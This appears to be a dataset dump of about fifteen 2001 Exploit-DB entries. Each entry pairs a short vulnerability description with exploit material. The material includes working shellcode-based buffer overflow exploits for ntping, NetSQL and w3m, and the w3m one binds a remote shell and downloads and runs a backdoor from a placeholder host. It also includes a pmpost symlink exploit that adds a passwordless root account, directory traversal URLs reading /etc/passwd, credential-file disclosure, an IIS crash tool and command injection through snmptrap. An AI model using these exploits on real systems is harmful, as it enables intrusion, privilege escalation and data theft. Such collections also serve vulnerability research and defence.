QLWD/code_shield huggingface dataset:
标题: Juergen Schoenwaelder scotty 2.1.x - ntping Buffer Overflow EDB-ID: 20960 CVE: 2001-0764 类型: LOCAL 平台: UNIX 发布日期: 2001-06-13 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2911/info

ntping is a component of scotty, a Tcl interpreter used to retrieve status and configuration information for TCP/IP networks. The utility, which runs with root privileges, contains a locally exploitable buffer overflow vulnerability. A local attacker can supply a long string as a command line argument to ntping, which, if the argument is of sufficient length (approximately 9000 characters) will induce a segfault.

If the input is carefully constructed, a local attacker can exploit this vulnerability to execute arbitrary code on the target host. 

/*Larry W. Cashdollar                6/13/2001
  http://vapid.dhs.org               Vapid Labs
  Overflows ntping for scotty-2.1.9 based on post by
  dotslash@snosoft.com*/

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90  /*no operation skip to next instruction. */
#define LEN 590   /*our buffersize. */

/*lacks a call to setuid(0)*/
char shellcode[]= /*Aleph1's shell code. */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
  __asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
  char buffer[LEN];
  int i;

  long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
  for (i = 0; i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs  in to the buffer leaving space for shellcode and
pointers*/

  printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]),LEN);
/*
  for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
    *(buffer + i) = NOP;*/

/*copy the shell code into the buffer*/
  memcpy (buffer + i, shellcode, strlen (shellcode));

  execl ("/usr/sbin/ntping", "ntping", buffer,0, 0);

} URL: https://www.exploit-db.com/exploits/20960
标题: DC Scripts DCShop Beta 1.0 02 - File Disclosure (1) EDB-ID: 20938 CVE: 2001-0821 类型: REMOTE 平台: CGI 发布日期: 2001-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2889/info

DCShop is a GCI-based ecommerce system from DCScripts.

Under certain configurations, a beta version of this product can allow a remote user to request and obtain files containing confidential order data, including credit card and other private customer information, as well as the DCShop admnistrator login ID and password. 

http://theTargetHost/cgi-bin/DCShop/Orders/orders.txt URL: https://www.exploit-db.com/exploits/20938
标题: W3M 0.1/0.2 - Malformed MIME Header Buffer Overflow EDB-ID: 20941 CVE: 2001-0700 类型: REMOTE 平台: FREEBSD 发布日期: 2001-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/2895/info

W3M is a pager/text-based WWW browser similiar to lynx.

A buffer overflow vulnerability exists in the 'w3m' client program. The overflow occurs when a base64-encoded string exceeding approximately 32 characters in length is received in a MIME header field. As a result, it may be possible for a malicious remote server to execute arbitrary code on a user's system. 

#!/usr/bin/perl

# ---- exp_w3m.pl
# w3m remote buffer overflow exploit for FreeBSD.
# this fake httpd gives exploit code to visitor's w3m, then
# connects to victim's port 10000, downloads backdoor from
# $backdoor, and executes it.
# see also:
# ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:46.w3m.asc
# 
#      White_E <white_e@bigfoot.com>
#      http://ttj.virtualave.net/

$backdoor='http://www.../any.backdoor.prog.you.want';
$ret = 0xbfbffa2c;
$ret -= $ARGV[0];
$retb = pack("V",$ret); # little endian

$shellcode= # http://www.hack.co.za/download.php?sid=1444
            # portbind shell on 10000 by bighawk
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89".
"\xc3\x52\x66\x68\x27\x10\x66\x51\x89\xe6\xb1\x10\x51\x56\x50".
"\x50\xb0\x68\xcd\x80\x51\x53\x53\xb0\x6a\xcd\x80\x52\x52\x53".
"\x53\xb0\x1e\xcd\x80\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53".
"\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69".
"\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80"; # 86 bytes

use Socket;
$port=80;
$|=1;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
select(S);$|=1;select(STDOUT);
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
$paddr=sockaddr_in($port,INADDR_ANY);
bind(S,$paddr) || die "ERR: bind()\n";
listen(S,SOMAXCONN) || die "ERR: listen()\n";
print "listen on $port.\n";
$str  = "A" x 36;
$str .= $retb;
$str .= "\x90" x 128;
$str .= $shellcode;

while (1) {
  $victim=accept(VIC,S);
  $vaddr=(sockaddr_in($victim))[1];
  select(VIC);$|=1;select(STDOUT);
  $in=<VIC>;
  $in=<VIC>;
  print VIC "HTTP/1.0 200 OK\r\n";
  print VIC "MIME-Version: 1.0\r\n";
  print VIC "Content-Type: multipart/mixed; boundary=\"__=?$str\r\n";
  print VIC "\r\n";
  sleep(1);
  socket(BD,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
  $paddr=sockaddr_in('10000',$vaddr) || die "ERR: sockaddr_in\n";
  connect(BD,$paddr) || die "ERR: connect()\n";
  select(BD);$|=1;select(STDOUT);
  print BD "/usr/local/bin/w3m -dump_source $backdoor > /tmp/hoge \; /bin/chmod +x /tmp/hoge \; 
/tmp/hoge & \n";
  print "backdoor has been set.\n";
  close(BD);
} URL: https://www.exploit-db.com/exploits/20941
标题: Tarantella Enterprise 3 3.x - 'TTAWebTop.cgi' Arbitrary File Viewing EDB-ID: 20940 CVE: 2001-0805 类型: REMOTE 平台: CGI 发布日期: 2001-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2890/info

Tarantella Enterprise 3 is a tool for centralized management of data and applications. It is operated via a web interface. It will run on a number of Unix and Linux distributions.

ttawebtop.cgi is a CGI script included with the Tarantella, formerly SCO. ttawebtop.cgi is designed as management tool, designed to allow a user clicking a link to display and resume an application at any time.

ttawebtop.cgi does not sufficiently validate input. In not doing so, it's possible for a remote user to traverse the directory structure, and view any file that is readable by the webserver process. 


http://xxx/tarantella/cgi-bin/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/20940
标题: Sun SunVTS 4.x - PTExec Buffer Overflow EDB-ID: 20945 CVE: 2001-0701 类型: LOCAL 平台: SOLARIS 发布日期: 2001-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/2898/info

SunVTS is the Sun Validation Test Suite, distributed and maintained by Sun Microsystems. The SunVTS is used to test various components of OEM Sun hardware, and can also be used to stress-test components and sub-components.

A buffer overflow in the -o of the ptexec command exists. It is possible for a local user to overwrite stack memory, including the return address.

This makes it possible for a local user to gain elevated privileges, and potentially full administrative access. 

# > .sunvts_sec_gss
# /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`
Segmentation Fault (core dumped)

# truss /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`

execve("/opt/SUNWvts/bin/ptexec", 0xFFBEFA44, 0xFFBEFA54) argc = 3
stat("/opt/SUNWvts/bin/ptexec", 0xFFBEF780) = 0
open("/var/ld/ld.config", O_RDONLY) Err#2 ENOENT
open("/usr/lib/librpcsvc.so.1", O_RDONLY) = 3
fstat(3, 0xFFBEF518) = 0
mmap(0x00000000, 8192, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xFF3A0000

[.....]

sigprocmask(SIG_SETMASK, 0xFF23F010, 0x00000000) = 0
sigaction(SIGSEGV, 0xFFBEE388, 0x00000000) = 0
sigprocmask(SIG_SETMASK, 0xFF24ADE0, 0x00000000) = 0
setcontext(0xFFBEE248)
Incurred fault #6, FLTBOUNDS %pc = 0xFF139FF0
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
Received signal #11, SIGSEGV [default]
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
*** process killed *** URL: https://www.exploit-db.com/exploits/20945
标题: NetSQL 1.0 - Remote Buffer Overflow EDB-ID: 20936 CVE: 2001-1163 类型: REMOTE 平台: LINUX 发布日期: 2001-06-15 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2885/info

NetSQL is an implementation of a database and toolset distributed by Munica Corporation. NetSQL is part of 5 piece software package called the Webpak, containing utilities for features such as web boards, membership, and online calendars.

A buffer overflow in the server makes it possible for a remote user to gain remote root access to a system using the affected software. By sending a long string to port 6500, a remote user can create a buffer overflow, allowing code execution.

This makes it possible for a remote user to gain remote root access, resulting in complete compromise of a system using the affected software.

/* PRIVATE EXPLOIT, DONT DISTRO%$##$%$# 
 * Remote exploit for NetSQL server, by Sergio Monteiro a.k.a Papa-tudo 
 * netsqld - An SQL database server with Web interface
 * check http://www.sekurity.com.br .
 *
 * There is an easily exploitable buffer overflow in netsql.
 * This exploit was tested on redhat 6.2. 
 * 
 * Run like: ./netsql | nc host.com 6500 
 * Then connect to port 3879 for the rootshell.
 *
 * Greets: www.sekurity.com.br
 * Author: Papa-tudo - 
 *
 *PRIVATE EXPLOIT, DONT DISTRO%$##$%$#
*/

 
#include <stdio.h>
#include <string.h>

#define RET 0xbffea3d0

char crap[80];
char cmd[1024];

char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

int
main (int argc, char *argv[])

{

char *buf;
int bsize=180, offset = 0, len = 151, i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);
  if (argc > 3) len = atoi(argv[3]);

  buf = malloc(bsize);

  memset (buf, '\x90', bsize);
  memset(crap, '\x41', 80);

       for (i = len; i < bsize - 4; i += 4)
      *(long *) &buf[i] = RET + offset;

  memcpy (buf + (len - strlen (shellcode)), shellcode, strlen (shellcode));

  crap[sizeof(crap)] = '\0';
  buf[bsize - 1] = '\0';

  fprintf(stderr, "Return Address = 0x%x\n", RET + offset);
  fprintf(stderr, "Running with offset %d\n", offset);

printf("76 CONNECT %s ON %s USER=\'netsql\' PASSWORD=\'none\'\n", crap, buf);

} URL: https://www.exploit-db.com/exploits/20936
标题: Microsoft Index Server 2.0 / Indexing Service (Windows 2000) - ISAPI Extension Buffer Overflow (PoC) EDB-ID: 20930 CVE: 2001-0500 类型: DOS 平台: WINDOWS 发布日期: 2001-06-18 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2880/info

Windows Index Server ships with Windows NT 4.0 Option Pack; Windows Indexing Service ships with Windows 2000. An unchecked buffer resides in the 'idq.dll' ISAPI extension associated with each service. A maliciously crafted request could allow arbitrary code to run on the host in the Local System context.

Note that Index Server and Indexing Service do not need to be running for an attacker to exploit this issue. Since 'idq.dll' is installed by default when IIS is installed, IIS would need to be the only service running.

Note also that this vulnerability is currently being exploited by the 'Code Red' worm. In addition, all products that run affected versions of IIS are also vulnerable.

// DoS for isapi idq.dll unchecked buffer.
// For Testing Pruposes
// By Ps0 DtMF dot com dot ar

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>

// #define DEBUG

int main(int argc, char *argv[])
{
   char mensaje[800];
   char *bof;
   int fd;
   struct sockaddr_in sin;
   struct hostent *rhost;

   if(argc<2) {
     fprintf(stderr,"Use : %s host\n",argv[0]);
     exit(0);
     }
   
   bzero(mensaje,strlen(mensaje));
   
   bof=(char *)malloc(240); // 240 segun eeye , si se le da mas NO anda
   
   memset(bof,'A',240);
  
   sprintf(mensaje,"GET /NULL.ida?%s=X HTTP/1.0\n\n",bof);
   
   
#ifdef DEBUG
   printf("\nMenssage : \n%s\n",mensaje);
#endif
   
   if ((rhost=gethostbyname(argv[1]))==NULL){
      printf("\nCan't find remote host %s \t E:%d\n",argv[1],h_errno);
      return -1;
   }

   sin.sin_family=AF_INET;
   sin.sin_port=htons(80);

   memcpy(&sin.sin_addr.s_addr, rhost->h_addr, rhost->h_length);

   fd = socket(AF_INET,SOCK_STREAM,6);

   if (connect(fd,(struct sockaddr *)&sin, sizeof(struct sockaddr))!=0){
      printf("\nCan't Connect to The host %s. May be down ? E:%s\n",argv[1],strerror(errno));
      return -1;
   }
   
   printf("Sending string........\n");
   
   if(send(fd,mensaje,strlen(mensaje),0)==-1){
      printf("\nError \n");
      return -1;
   }
   
   printf("\nString Sent... try telnet host 80 to check if IIS is down\n");
   
   close(fd);
   
   return 0;
 
} URL: https://www.exploit-db.com/exploits/20930
标题: DC Scripts DCShop Beta 1.0 02 - File Disclosure (2) EDB-ID: 20939 CVE: 2001-0821 类型: REMOTE 平台: CGI 发布日期: 2001-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2889/info
 
DCShop is a GCI-based ecommerce system from DCScripts.
 
Under certain configurations, a beta version of this product can allow a remote user to request and obtain files containing confidential order data, including credit card and other private customer information, as well as the DCShop admnistrator login ID and password. 

http://theTargetHost/cgi-bin/DCShop/Auth_data/auth_user_file.txt URL: https://www.exploit-db.com/exploits/20939
标题: Internet Software Solutions Air Messenger LAN Server 3.4.2 - Full Path Disclosure EDB-ID: 20934 CVE: 2001-0788 类型: REMOTE 平台: WINDOWS 发布日期: 2001-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2881/info

Air Messenger LAN Server for Microsoft Windows allows users to exchange phone, pager and email messages through a Web gateway.

The path to sensitive files used by AMLServer can be easily obtained by any remote user, simply by examining the webserver's http-header 'Location' field.

$ telnet target 80|grep Location

Location: http://C:\PROGRA~1\ISS\AIRMES~1\Messages
Connection closed by foreign host. URL: https://www.exploit-db.com/exploits/20934
标题: SGI Performance Co-Pilot 2.1.x/2.2 - pmpost Symbolic Link EDB-ID: 20937 CVE: 2001-0823 类型: LOCAL 平台: IRIX 发布日期: 2001-06-18 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2887/info

Performance Co-Pilot (PCP) is a set of services to support system-level performance monitoring developed by SGI. It has traditionally been an IRIX product, however SGI has made it open source and it is now available for Linux systems.

One of the utilities that ships with PCP is called 'pmpost'. It is often installed setuid root by default. When writing to the 'NOTICES' file in its user-definable log directory, 'pmpost' will follow symbolic links. Since the data written is user-supplied (the command-line arguments), it is possible to gain superuser privileges if 'pmpost' is setuid root.

Note: This vulnerability affects both binary versions for IRIX and the open source distribution of PCP. S.u.S.E. has made PCP packages available for their linux distribution. PCP is not installed as part of S.u.S.E. Linux by default. The PCP packages for S.u.S.E. Linux 7.0 do not install 'pmpost' setuid root. Versions 7.1 and 7.2 do, and are vulnerable if PCP is installed.

It has been reported that not all versions of PCP for IRIX are vulnerable. To determine whether you are vulnerable, run this command:

strings /usr/pcp/bin/pmpost | grep PCP_LOG_DIR

If the string 'PCP_LOG_DIR' appears, it is most likely that the version of 'pmpost' installed is vulnerable.

It is not yet known which other Linux vendors may ship with PCP as either an optional package or installed by default. 

/********************************************************
*       *
*  pmpost local root exploit  *
*  vulnerable: pcp <= 2.1.11-5  *
*  by IhaQueR    *
*       *
********************************************************/




#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/stat.h>



main()
{
const char *bin="/usr/share/pcp/bin/pmpost";
static char buf[512];
static char dir[128];


 srand(time(NULL));
 sprintf(dir, "/tmp/dupa.%.8d", rand());

 if(mkdir(dir, S_IRWXU))
  _exit(2);

 if(chdir(dir))
  _exit(3);

 if(symlink("/etc/passwd", "./NOTICES"))
  _exit(4);

 snprintf(buf, sizeof(buf)-1, "PCP_LOG_DIR=%.500s", dir);

 if(putenv(buf))
  _exit(5);

 if(!fork()) {
  execl(bin, bin, "\nr00t::0:0:root:/root:/bin/bash", NULL);
  _exit(1);
 }
 else {
  waitpid(0, NULL, WUNTRACED);
  chdir("..");
  sprintf(buf, "rm -rf dupa.*");
  system(buf);
  execl("/bin/su", "/bin/su", "r00t", NULL);
 }
} URL: https://www.exploit-db.com/exploits/20937
标题: SiteWare 2.5/3.0/3.1 Editor Desktop - Directory Traversal EDB-ID: 20925 CVE: 2001-0555 类型: WEBAPPS 平台: JAVA 发布日期: 2001-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/2868/info

Screaming Media is a provider for custom web content. SiteWare Editor Desktop is the web-based administration tool for managing Screaming Media content.

SiteWare Editor Desktop is prone to directory traversal attacks which can lead to disclosure of arbitrary webserver-readable files on the vulnerable host. This is due to the fact that the software does not filter '../' character sequences from HTTP Requests. 

http://server:port/SWEditServlet?station_path=Z&publication_id=2043&template=../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/20925
标题: MDBms 0.96/0.99 - Query Display Buffer Overflow EDB-ID: 20924 CVE: 2001-0818 类型: REMOTE 平台: LINUX 发布日期: 2001-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2867/info

MDBMS is a free relational database management system.

A buffer overflow condition exists in MDBMS. By issuing the '\s' command to display the query buffer when it contains a large amount of data, it may be possible for a remote user to trigger this condition and execute arbitrary code.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20924.tar.gz URL: https://www.exploit-db.com/exploits/20924
标题: Rumpus FTP Server 1.3.x/2.0.3 - Stack Overflow Denial of Service EDB-ID: 20922 CVE: 2001-0706 类型: DOS 平台: OSX 发布日期: 2001-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2864/info

Rumpus FTP Server is an implementation for MacOS which allows file-sharing across TCP/IP connections.

Rumpus FTP is prone to a denial of service. An ftp user can engage the attack by making a directory with an unusual number of sub-folders. This forces the software to quit, as it is unable to handle the creation of so many directories at one time. The FTP server must be rebooted to regain normal functionality.

It is required that a user be logged in to carry out this attack. It may be possible for remote users to exploit this vulnerability, but authentication is required and anonymous ftp access does not grant users the privileges neccesary to create directories. 

Executing command 'mkdir A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A' will make Rumpus quit. URL: https://www.exploit-db.com/exploits/20922
标题: Thibault Godouet FCron 1 - Symbolic Link EDB-ID: 20905 CVE: 2001-0685 类型: LOCAL 平台: UNIX 发布日期: 2001-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2835/info

FCron is an implementation of the popular UNIX 'cron' utility that runs user-specified programs at periodic scheduled times.

fcron is vulnerable to symbolic link attacks.

It is possible for an attacker to anticipate the expected name of an fcron tempfile. Attackers can create a symbolic link with an anticipated filename pointing to files on the system writable by the fcron group. This could allow an attacker to corrupt another user's crontab file, interfering with scheduled events and potentially creating a denial of service.

In addition, the ability to cause deletion of user crontabs has been demonstrated by the discoverer.

How to repeat:

1. Install a crontab, for example for the root user:

root# ls -l /var/spool/fcron/
total 0
root# echo '0 0 * * * echo test' | fcrontab -
09:53:00 installing file /tmp/fcrontab.27301 for user root
Modifications will be taken into account right now.
root# ls -l /var/spool/fcron/
total 2
-rw------- 1 root root 110 May 7 09:53 root
-rw------- 1 root fcron 20 May 7 09:53 root.orig


2. As a normal user write and execute a script:

uwe$ cat ~/x
#! /bin/sh
ln -s /var/spool/fcron/rm.root /tmp/fcrontab.$$
exec fcrontab - <<EOF
* * * * * false
EOF
uwe$ ./x
09:55:55 installing file /tmp/fcrontab.27536 for user uwe
09:55:55 User uwe can't read file "/tmp/fcrontab.27536": Permission denied

3. As root look into the fcron spool directory:

root# ls -l /var/spool/fcron/
total 3
-rw-r----- 1 uwe fcron 16 May 7 09:55 rm.root
-rw------- 1 root root 110 May 7 09:53 root
-rw------- 1 root fcron 20 May 7 09:53 root.orig

4. As the normal user edit your crontab:

uwe$ echo '* * * * * true' | fcrontab -
09:59:15 installing file /tmp/fcrontab.27543 for user uwe
Modifications will be taken into account at 10h00.

5. As root wait up to a minute and look into the fcron spool directory:

# ls -l /var/spool/fcron/
total 3
-rw------- 1 root fcron 20 May 7 09:53 root.orig
-rw------- 1 root root 102 May 7 09:59 uwe
-rw-r----- 1 fcron fcron 15 May 7 09:59 uwe.orig

6. Root's crontab is gone, look into your backups. URL: https://www.exploit-db.com/exploits/20905
标题: IBM Tivoli NetView 5/6 - OVActionD SNMPNotify Command Execution EDB-ID: 20909 CVE: 2001-0552 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/2845/info

ovactiond is part of the system management software packages OpenView and Netview, distributed by HP and IBM. It is designed for use on enterprise systems, and offers remote administrative facilities.

A problem with the software makes it possible for a remote user to execute commands on a managed system with the privileges of the ovactiond process (often 'bin' on Unix systems). The default configuration of the daemon as installed with HP OpenView enables the execution of commands upon receiving a trap with the command encapsulated in quotes and escapes. Tivoli Netview is not vulnerable to this by default, but may be if customized.

snmptrap -v 1 <NNM host> .1.3.6.1.4.1.11.2.17.1 1.2.3.4 6 60000208 0 1 s "" 2 s "" 3 s "\`/usr/bin/X11/hpterm -display <your client display>\`" 4 s "" [snip...] 12 s "" URL: https://www.exploit-db.com/exploits/20909